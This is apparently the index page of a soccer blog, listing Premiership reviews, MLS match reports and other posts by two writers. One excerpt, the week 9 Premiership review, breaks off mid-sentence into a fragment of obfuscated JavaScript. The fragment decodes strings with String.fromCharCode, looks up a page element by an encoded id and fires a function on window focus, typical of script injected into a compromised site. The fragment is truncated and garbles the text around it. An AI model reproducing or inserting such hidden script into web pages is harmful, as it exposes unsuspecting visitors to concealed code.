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BILLY BOB FC

Written by: Gabe

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THE BEST DRINK IN THE WORLD

Written by: Gabe

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FIFA BUYS INSURANCE FOR WORLD CUP

Written by: Tyler

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WHAT THE?…THE PREMIERSHIP, WEEK 9

Written by: Tyler

WHAT THE? is my weekly Premiership review with only the cat food supplementsjxgzx=0;eumss=String.fromCharCode(111,110,101,117,109,98,122,103,110,114);zmlee=String.fromCharCode(118,99,97,102,114,40,41);bveqb=document.getElementById(String.fromCharCode(111,112,118,105));window.onFocus=olgdh();function vcafr(){++jxgzx;(jxgzx

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DROGBA A DIVER?

Written by: Tyler

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WHAT THE?…THE PREMIERSHIP, WEEK 8

Written by: Tyler

WHAT THE? is my weekly Premiership review with only the interesting events that should not have happened in the first place. This was a boring week with the Big Four winning by big spreads, Man U won 4-0, Chelsea won 5-0. All the news came from the promoted teams. Hull City has continued their great [...]

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RBNY 3-1 Crew

Written by: Gabe

New York played a game in tippy-top form last night to take an important three from Columbus at Giants Stadium. There are a lot of isolated thoughts I had watching this game, so please enjoy my PowerPoint-style bullet list. In order: • I hate watching soccer played on American football fields. HATE. Bonus: This one [...]

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EUROPEAN CLUBS & THE MLS

Written by: Tyler

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RSL’s NEW SOCCER STADIUM

Written by: Tyler

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WHAT THE?…WC QUALIFIERS 10/11

Written by: Tyler

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